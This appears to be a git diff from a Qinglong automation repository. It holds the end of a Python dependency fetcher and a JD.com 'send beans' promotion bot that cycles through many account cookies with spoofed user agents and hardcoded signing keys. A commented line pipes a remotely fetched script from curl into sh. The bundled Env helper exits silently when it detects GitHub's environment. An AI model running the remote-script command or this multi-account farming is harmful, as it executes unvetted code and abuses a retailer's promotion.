utils_list = os.listdir("./utils") + else: + os.makedirs("../utils") + utils_list = os.listdir("../utils") + + # 查询 + for i in dependence_scripts_utils: + if i not in utils_list and i != "utils" and i != "function": + print("缺失文件 utils/{}".format(i)) + # 修补 + try: + if fix == 1: + print("增加文件 utils/{}".format(i)) + r = requests.get( + "https://cdn.jsdelivr.net/gh/spiritlhl/dependence_scripts@master/utils/" + i).text + if "db" in os.listdir("../"): + with open("./utils/" + i, "w", encoding="utf-8") as fe: + fe.write(r) + else: + with open("../utils/" + i, "w", encoding="utf-8") as fe: + fe.write(r) + except: + temp = 1 + + try: + if temp == 1: + print("未配置ec_fix_dep,默认不修复增加缺失的依赖文件") + except: + pass + + # 更新 + try: + if ref == 1: + for i in dependence_scripts_utils: + if i != "utils" and i != "function": + if "db" in os.listdir("../"): + with open("./utils/" + i, "r", encoding="utf-8") as f: + r = requests.get( + "https://cdn.jsdelivr.net/gh/spiritlhl/dependence_scripts@master/utils/" + i).text + d = f.read() + if r == d: + print("已存在文件 utils/{}".format(i)) + else: + print("更新文件 utils/{}".format(i)) + with open("./utils/" + i, "w", encoding="utf-8") as fe: + fe.write(r) + else: + with open("../utils/" + i, "r", encoding="utf-8") as f: + r = requests.get( + "https://cdn.jsdelivr.net/gh/spiritlhl/dependence_scripts@master/utils/" + i).text + d = f.read() + if r == d: + print("已存在文件 utils/{}".format(i)) + else: + print("更新文件 utils/{}".format(i)) + with open("../utils/" + i, "w", encoding="utf-8") as fe: + fe.write(r) + except: + print("未配置ec_ref_dep,默认不更新依赖文件") + + #################################################################################################### + + # function + + try: + res = requests.get("https://cdn.jsdelivr.net/gh/spiritLHL/dependence_scripts@master/function.json").json() + except: + print("网络波动,稍后尝试") + time.sleep(5) + try: + res = requests.get("https://cdn.jsdelivr.net/gh/spiritLHL/dependence_scripts@master/function.json").json() + except: + print("网络问题无法获取仓库文件列表,终止检索") + return + + dependence_scripts_function = [] + for i in res: + dependence_scripts_function.append(i["name"]) + + try: + if "db" in os.listdir("../"): + function_list = os.listdir("./function") + else: + function_list = os.listdir("../function") + except: + if "db" in os.listdir("../"): + os.makedirs("function") + function_list = os.listdir("./function") + else: + os.makedirs("../function") + function_list = os.listdir("../function") + + # 查询 + for i in dependence_scripts_function: + if i not in function_list and i != "utils" and i != "function": + print("缺失文件 function/{}".format(i)) + # 修补 + try: + if fix == 1: + print("增加文件 function/{}".format(i)) + r = requests.get( + "https://cdn.jsdelivr.net/gh/spiritlhl/dependence_scripts@master/function/" + i).text + if "db" in os.listdir("../"): + with open("./function/" + i, "w", encoding="utf-8") as fe: + fe.write(r) + else: + with open("../function/" + i, "w", encoding="utf-8") as fe: + fe.write(r) + except: + temp = 1 + + try: + if temp == 1: + print("未配置ec_fix_dep,默认不修复增加缺失的依赖文件") + except: + pass + + # 更新 + try: + if ref == 1: + for i in dependence_scripts_function: + if i != "utils" and i != "function": + if "db" in os.listdir("../"): + with open("./function/" + i, "r", encoding="utf-8") as f: + r = requests.get( + "https://cdn.jsdelivr.net/gh/spiritlhl/dependence_scripts@master/function/" + i).text + d = f.read() + if r == d: + print("已存在文件 function/{}".format(i)) + else: + print("更新文件 function/{}".format(i)) + with open("./function/" + i, "w", encoding="utf-8") as fe: + fe.write(r) + else: + with open("../function/" + i, "r", encoding="utf-8") as f: + r = requests.get( + "https://cdn.jsdelivr.net/gh/spiritlhl/dependence_scripts@master/function/" + i).text + d = f.read() + if r == d: + print("已存在文件 function/{}".format(i)) + else: + print("更新文件 function/{}".format(i)) + with open("../function/" + i, "w", encoding="utf-8") as fe: + fe.write(r) + + except: + print("未配置ec_ref_dep,默认不更新依赖文件") + + +if __name__ == '__main__': + + # 针对青龙拉取仓库后单个仓库单个文件夹的情况对每个文件夹进行检测,不需要可以注释掉 开始到结束的部分 + + ### 开始 + if "db" in os.listdir("../"): + dirs_ls = traversalDir_FirstDir("./") + else: + dirs_ls = traversalDir_FirstDir("../") + + # script根目录默认存在的文件夹,放入其中的文件夹不再检索其内依赖完整性 + or_list = ['node_modules', '__pycache__', 'utils', '.pnpm-store', 'function', 'tools', 'backUp', '.git', '.idea', '.github'] + + print() + for i in dirs_ls: + if i not in or_list: + file_path = "./" + i + "/" + print("检测依赖文件是否完整路径 {}".format(file_path)) + check_dependence(file_path) + print() + + ### 结束 + + # 检测根目录,不需要可以注释掉下面这行,旧版本只需要保留下面这行 + check_root() + + print("检测完毕") + + if fix == 1: + print("修复完毕后脚本无法运行,显示缺依赖文件,大概率库里没有或者依赖文件同名但内容不一样,请另寻他法\n") + print("修复完毕后缺依赖环境导致的脚本无法运行,这种无法修复,请自行在依赖管理中添加\n") + print("如果运行完本脚本仍然出错,请使用Faker一键部署脚本重新部署") + +# 待开发 +# 修复依赖环境 +# export ec_add_dep="true" +# docker exec -it qinglong bash -c "$(curl -fsSL https://ghproxy.com/https://raw.githubusercontent.com/FlechazoPh/QLDependency/main/Shell/QLOneKeyDependency.sh | sh)" +# try: +# if os.environ["ec_add_dep"] == "true": +# pass +# except: +# pass +# text = os.popen("$(curl -fsSL https://ghproxy.com/https://raw.githubusercontent.com/FlechazoPh/QLDependency/main/Shell/QLOneKeyDependency.sh | sh)").read() +# print(text) \ No newline at end of file diff --git a/jd_sendBeans.js b/jd_sendBeans.js new file mode 100644 index 0000000..639b1da --- /dev/null +++ b/jd_sendBeans.js @@ -0,0 +1,555 @@ +/* +送豆得豆 +活动入口:来客有礼小程序 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#送豆得豆 +45 1,12 * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_sendBeans.js, tag=送豆得豆, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true +================Loon============== +[Script] +cron "45 1,12 * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_sendBeans.js,tag=送豆得豆 +===============Surge================= +送豆得豆 = type=cron,cronexp="45 1,12 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_sendBeans.js +============小火箭========= +送豆得豆 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_sendBeans.js, cronexpr="45 1,12 * * *", timeout=3600, enable=true + */ +const $ = new Env('送豆得豆'); +const notify = $.isNode() ? require('./sendNotify') : ''; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], isLoginInfo = {}; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }); + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata("CookieJD"), $.getdata("CookieJD2"), ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + $.activityId = ''; + $.completeNumbers = ''; + console.log(`开始获取活动信息`); + for (let i = 0; (cookiesArr.length < 3 ? i < cookiesArr.length : i < 3) && $.activityId === ''; i++) { + $.cookie = cookiesArr[i]; + $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.isLogin = true; + $.nickName = '' + if (isLoginInfo[$.UserName] === false) { + + } else { + if (!isLoginInfo[$.UserName]) { + await TotalBean(); + isLoginInfo[$.UserName] = $.isLogin + } + } + if (!isLoginInfo[$.UserName]) continue + await getActivityInfo(); + } + if ($.activityId === '') { + console.log(`获取活动ID失败`); + return; + } + let openCount = Math.floor((Number(cookiesArr.length)-1)/Number($.completeNumbers)); + console.log(`\n共有${cookiesArr.length}个账号,前${openCount}个账号可以开团\n`); + $.openTuanList = []; + console.log(`前${openCount}个账号开始开团\n`); + for (let i = 0; i < cookiesArr.length && i < openCount; i++) { + $.cookie = cookiesArr[i]; + $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); + if (isLoginInfo[$.UserName] === false) { + + } else { + if (!isLoginInfo[$.UserName]) { + await TotalBean(); + isLoginInfo[$.UserName] = $.isLogin + } + } + if (!isLoginInfo[$.UserName]) continue + await openTuan(); + } + console.log('\n开团信息\n'+JSON.stringify($.openTuanList)); + console.log(`\n开始互助\n`); + let ckList = getRandomArrayElements(cookiesArr,cookiesArr.length); + for (let i = 0; i < ckList.length && $.openTuanList.length > 0; i++) { + $.cookie = ckList[i]; + $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.index = i + 1; + $.isLogin = true; + console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); + if (isLoginInfo[$.UserName] === false) { + + } else { + if (!isLoginInfo[$.UserName]) { + await TotalBean(); + isLoginInfo[$.UserName] = $.isLogin + } + } + if (!isLoginInfo[$.UserName]) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue; + } + await helpMain(); + } + console.log(`\n开始领取奖励\n`); + for (let i = 0; i < cookiesArr.length && i < openCount; i++) { + $.cookie = cookiesArr[i]; + $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.index = i + 1; + $.isLogin = true; + console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); + if (isLoginInfo[$.UserName] === false) { + + } else { + if (!isLoginInfo[$.UserName]) { + await TotalBean(); + isLoginInfo[$.UserName] = $.isLogin + } + } + if (!isLoginInfo[$.UserName]) continue + await rewardMain(); + } + for (let i = 0; i < cookiesArr.length; i++) { + $.cookie = cookiesArr[i]; + $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.index = i + 1; + $.isLogin = true; + $.nickName = '' + console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); + if (isLoginInfo[$.UserName] === false) { + + } else { + if (!isLoginInfo[$.UserName]) { + await TotalBean(); + isLoginInfo[$.UserName] = $.isLogin + } + } + if (!isLoginInfo[$.UserName]) continue + await myReward() + } +})().catch((e) => {$.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '')}).finally(() => {$.done();}); + +async function getActivityInfo(){ + $.activityList = []; + await getActivityList(); + if($.activityList.length === 0){ + return; + } + for (let i = 0; i < $.activityList.length; i++) { + if($.activityList[i].status !== 'NOT_BEGIN'){ + $.activityId = $.activityList[i].activeId; + $.activityCode = $.activityList[i].activityCode; + break; + } + } + await $.wait(3000); + $.detail = {}; + await getActivityDetail(); + if(JSON.stringify($.detail) === '{}'){ + console.log(`获取活动详情失败`); + return; + }else{ + console.log(`获取活动详情成功`); + } + $.completeNumbers = $.detail.activityInfo.completeNumbers; + console.log(`获取到的活动ID:${$.activityId},需要邀请${$.completeNumbers}人瓜分`); +} + +async function myReward(){ + return new Promise(async (resolve) => { + let lkt = new Date().getTime() + let lks = $.md5('' + 'q8DNJdpcfRQ69gIx' + lkt).toString() + let options = { + "url": `https://sendbeans.jd.com/common/api/bean/activity/myReward?itemsPerPage=10¤tPage=1&sendType=0&invokeKey=q8DNJdpcfRQ69gIx`, + "headers": { + "Host": "sendbeans.jd.com", + "Origin": "https://sendbeans.jd.com", + "Cookie": $.cookie, + "app-id": "h5", + "Connection": "keep-alive", + "Accept": "application/json, text/plain, */*", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://sendbeans.jd.com/dist/index.html", + "Accept-Encoding": "gzip, deflate, br", + "openId": "", + 'lkt': lkt, + 'lks': lks + } + }; + $.get(options, async (err, resp, data) => { + try { + data = JSON.parse(data); + if (data.success) { + let canReward = false + for (let key of Object.keys(data.datas)) { + let vo = data.datas[key] + if (vo.status === 3 && vo.type === 2) { + canReward = true + $.rewardRecordId = vo.id + await rewardBean() + $.rewardRecordId = '' + } + } + if (!canReward) console.log(`没有可领取奖励`) + }else{ + console.log(JSON.stringify(data)); + } + } catch (e) { + console.log(e); + } finally { + resolve(data); + } + }) + }) +} + +async function getActivityList(){ + return new Promise((resolve) => { + let lkt = new Date().getTime() + let lks = $.md5('' + 'q8DNJdpcfRQ69gIx' + lkt).toString() + let options = { + "url": `https://sendbeans.jd.com/common/api/bean/activity/get/entry/list/by/channel?channelId=14&channelType=H5&sendType=0&singleActivity=false&invokeKey=q8DNJdpcfRQ69gIx`, + "headers": { + "Host": "sendbeans.jd.com", + "Origin": "https://sendbeans.jd.com", + "Cookie": $.cookie, + "Connection": "keep-alive", + "Accept": "application/json, text/plain, */*", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://sendbeans.jd.com/dist/index.html", + "Accept-Encoding": "gzip, deflate, br", + "openId": "", + 'lkt': lkt, + 'lks': lks + } + }; + $.get(options, (err, resp, data) => { + try { + data = JSON.parse(data); + if (data.success) { + $.activityList = data.data.items; + }else{ + console.log(JSON.stringify(data)); + } + } catch (e) { + console.log(e); + } finally { + resolve(data); + } + }) + }) +} + +async function openTuan(){ + $.detail = {}; + $.rewardRecordId = ''; + await getActivityDetail(); + if(JSON.stringify($.detail) === '{}'){ + console.log(`获取活动详情失败`); + return; + }else{ + $.rewardRecordId = $.detail.rewardRecordId; + console.log(`获取活动详情成功`); + } + await $.wait(3000); + if(!$.rewardRecordId){ + if(!$.detail.invited){ + await invite(); + await $.wait(1000); + await getActivityDetail(); + await $.wait(3000); + $.rewardRecordId = $.detail.rewardRecordId; + console.log(`【京东账号${$.index}】${$.UserName} 瓜分ID:${$.rewardRecordId}`); + } + }else{ + console.log(`【京东账号${$.index}】${$.UserName} 瓜分ID:${$.rewardRecordId}`); + } + $.openTuanList.push({ + 'user':$.UserName, + 'rewardRecordId':$.rewardRecordId, + 'completed':$.detail.completed, + 'rewardOk':$.detail.rewardOk + }); +} + +async function helpMain(){ + $.canHelp = true; + for (let j = 0; j < $.openTuanList.length && $.canHelp; j++) { + $.oneTuanInfo = $.openTuanList[j]; + if( $.UserName === $.oneTuanInfo['user']){ + continue; + } + if( $.oneTuanInfo['completed']){ + continue; + } + console.log(`${$.UserName}去助力${$.oneTuanInfo['user']}`); + $.detail = {}; + $.rewardRecordId = ''; + await getActivityDetail(); + if(JSON.stringify($.detail) === '{}'){ + console.log(`获取活动详情失败`); + return; + }else{ + $.rewardRecordId = $.detail.rewardRecordId; + console.log(`获取活动详情成功`); + } + await $.wait(3000); + await help(); + await $.wait(2000); + } +} + +async function rewardMain(){ + $.detail = {}; + $.rewardRecordId = ''; + await getActivityDetail(); + if(JSON.stringify($.detail) === '{}'){ + console.log(`获取活动详情失败`); + return; + }else{ + $.rewardRecordId = $.detail.rewardRecordId; + console.log(`获取活动详情成功`); + } + await $.wait(3000); + if($.rewardRecordId && $.detail.completed && !$.detail.rewardOk){ + await rewardBean(); + await $.wait(2000); + }else if($.rewardRecordId && $.detail.completed && $.detail.rewardOk){ + console.log(`奖励已领取`); + }else{ + console.log(`未满足条件,不可领取奖励`); + } +} +async function rewardBean(){ + return new Promise((resolve) => { + let lkt = new Date().getTime() + let lks = $.md5('' + 'q8DNJdpcfRQ69gIx' + lkt).toString() + let options = { + "url": `https://draw.jdfcloud.com/common/api/bean/activity/sendBean?rewardRecordId=${$.rewardRecordId}&jdChannelId=&userSource=mp&appId=wxccb5c536b0ecd1bf&invokeKey=q8DNJdpcfRQ69gIx`, + "headers": { + 'content-type' : `application/json`, + 'Connection' : `keep-alive`, + 'Accept-Encoding' : `gzip,compress,br,deflate`, + 'App-Id' : `wxccb5c536b0ecd1bf`, + 'Lottery-Access-Signature' : `wxccb5c536b0ecd1bf1537237540544h79HlfU`, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_7_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.13(0x18000d2a) NetType/WIFI Language/zh_CN", + 'openId' : ``, + 'Host' : `draw.jdfcloud.com`, + 'Referer' : `https://servicewechat.com/wxccb5c536b0ecd1bf/755/page-frame.html`, + 'cookie' : $.cookie, + 'lkt': lkt, + 'lks': lks + } + }; + $.get(options, (err, resp, data) => { + try { + data = JSON.parse(data); + if(data.success){ + console.log(`领取豆子奖励成功`); + }else{ + console.log(JSON.stringify(data)); + } + } catch (e) { + console.log(e); + } finally { + resolve(data); + } + }) + }); +} + +function getRandomArrayElements(arr, count) { + var shuffled = arr.slice(0), i = arr.length, min = i - count, temp, index; + while (i-- > min) { + index = Math.floor((i + 1) * Math.random()); + temp = shuffled[index]; + shuffled[index] = shuffled[i]; + shuffled[i] = temp; + } + return shuffled.slice(min); +} + +async function help() { + await new Promise((resolve) => { + let lkt = new Date().getTime() + let lks = $.md5('' + 'q8DNJdpcfRQ69gIx' + lkt + $.activityCode).toString() + let options = { + "url": `https://draw.jdfcloud.com/common/api/bean/activity/participate?activityCode=${$.activityCode}&activityId=${$.activityId}&inviteUserPin=${encodeURIComponent($.oneTuanInfo['user'])}&invokeKey=q8DNJdpcfRQ69gIx×tap=${Date.now()}`, + "headers": { + 'content-type' : `application/json`, + 'Connection' : `keep-alive`, + 'Accept-Encoding' : `gzip,compress,br,deflate`, + 'App-Id' : `wxccb5c536b0ecd1bf`, + 'Lottery-Access-Signature' : `wxccb5c536b0ecd1bf1537237540544h79HlfU`, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_7_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.13(0x18000d2a) NetType/WIFI Language/zh_CN", + 'openId' : ``, + 'Host' : `draw.jdfcloud.com`, + 'Referer' : `https://servicewechat.com/wxccb5c536b0ecd1bf/755/page-frame.html`, + 'cookie' : $.cookie, + 'lkt': lkt, + 'lks': lks + } + }; + $.post(options, (err, resp, res) => { + try { + if (res) { + res = JSON.parse(res); + if(res.data.result === 5){ + $.oneTuanInfo['completed'] = true; + }else if(res.data.result === 0 || res.data.result === 1){ + $.canHelp = false; + } + console.log(JSON.stringify(res)); + } + } catch (e) { + console.log(e); + } finally { + resolve(res); + } + }) + }); +} + +async function invite() { + let lkt = new Date().getTime() + let lks = $.md5('' + 'q8DNJdpcfRQ69gIx' + lkt + $.activityCode).toString() + const url = `https://draw.jdfcloud.com/common/api/bean/activity/invite?activityCode=${$.activityCode}&openId=&activityId=${$.activityId}&userSource=mp&formId=123&jdChannelId=&fp=&appId=wxccb5c536b0ecd1bf&invokeKey=q8DNJdpcfRQ69gIx`; + const method = `POST`; + const headers = { + 'content-type' : `application/json`, + 'Connection' : `keep-alive`, + 'Accept-Encoding' : `gzip,compress,br,deflate`, + 'App-Id' : `wxccb5c536b0ecd1bf`, + 'Lottery-Access-Signature' : `wxccb5c536b0ecd1bf1537237540544h79HlfU`, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_7_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.13(0x18000d2a) NetType/WIFI Language/zh_CN", + 'openId' : ``, + 'Host' : `draw.jdfcloud.com`, + 'Referer' : `https://servicewechat.com/wxccb5c536b0ecd1bf/755/page-frame.html`, + 'cookie' : $.cookie, + 'lkt': lkt, + 'lks': lks + }; + const body = `{}`; + const myRequest = { + url: url, + method: method, + headers: headers, + body: body + }; + return new Promise(async resolve => { + $.post(myRequest, (err, resp, data) => { + try { + data = JSON.parse(data); + if(data.success){ + console.log(`发起瓜分成功`); + }else{ + console.log(JSON.stringify(data)); + } + } catch (e) { + console.log(data); + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +async function getActivityDetail() { + let lkt = new Date().getTime() + let lks = $.md5('' + 'q8DNJdpcfRQ69gIx' + lkt + $.activityCode).toString() + const url = `https://draw.jdfcloud.com/common/api/bean/activity/detail?activityCode=${$.activityCode}&activityId=${$.activityId}&userOpenId=×tap=${Date.now()}&userSource=mp&jdChannelId=&appId=wxccb5c536b0ecd1bf&invokeKey=q8DNJdpcfRQ69gIx`; + const method = `GET`; + const headers = { + 'cookie' : $.cookie, + 'openId' : ``, + 'Connection' : `keep-alive`, + 'App-Id' : `wxccb5c536b0ecd1bf`, + 'content-type' : `application/json`, + 'Host' : `draw.jdfcloud.com`, + 'Accept-Encoding' : `gzip,compress,br,deflate`, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_7_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.13(0x18000d2a) NetType/WIFI Language/zh_CN", + 'Lottery-Access-Signature' : `wxccb5c536b0ecd1bf1537237540544h79HlfU`, + 'Referer' : `https://servicewechat.com/wxccb5c536b0ecd1bf/755/page-frame.html`, + 'lkt': lkt, + 'lks': lks + }; + const myRequest = {url: url, method: method, headers: headers}; + return new Promise(async resolve => { + $.get(myRequest, (err, resp, data) => { + try { + //console.log(data); + data = JSON.parse(data); + if(data.success){ + $.detail = data.data; + } + } catch (e) { + //console.log(data); + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://wq.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2", + headers: { + Host: "wq.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: $.cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 1001) { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === 0 && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + console.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +// md5 +!function(n){function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return n<>>32-t}function e(n,e,o,u,c,f){return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){return e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){return e(r^(t|~o),n,t,u,c,f)}function i(n,r){n[r>>5]|=128<>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e>5]>>>t%32&255)}return r}function d(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t>5]|=(255&n.charCodeAt(t/8))<16&&(o=i(o,8*n.length)),r=0;r<16;r+=1){u[r]=909522486^o[r],c[r]=1549556828^o[r]}return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){var t,r,e="";for(r=0;r>>4&15)+"0123456789abcdef".charAt(15&t)}return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)}$.md5=A}(this); +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new 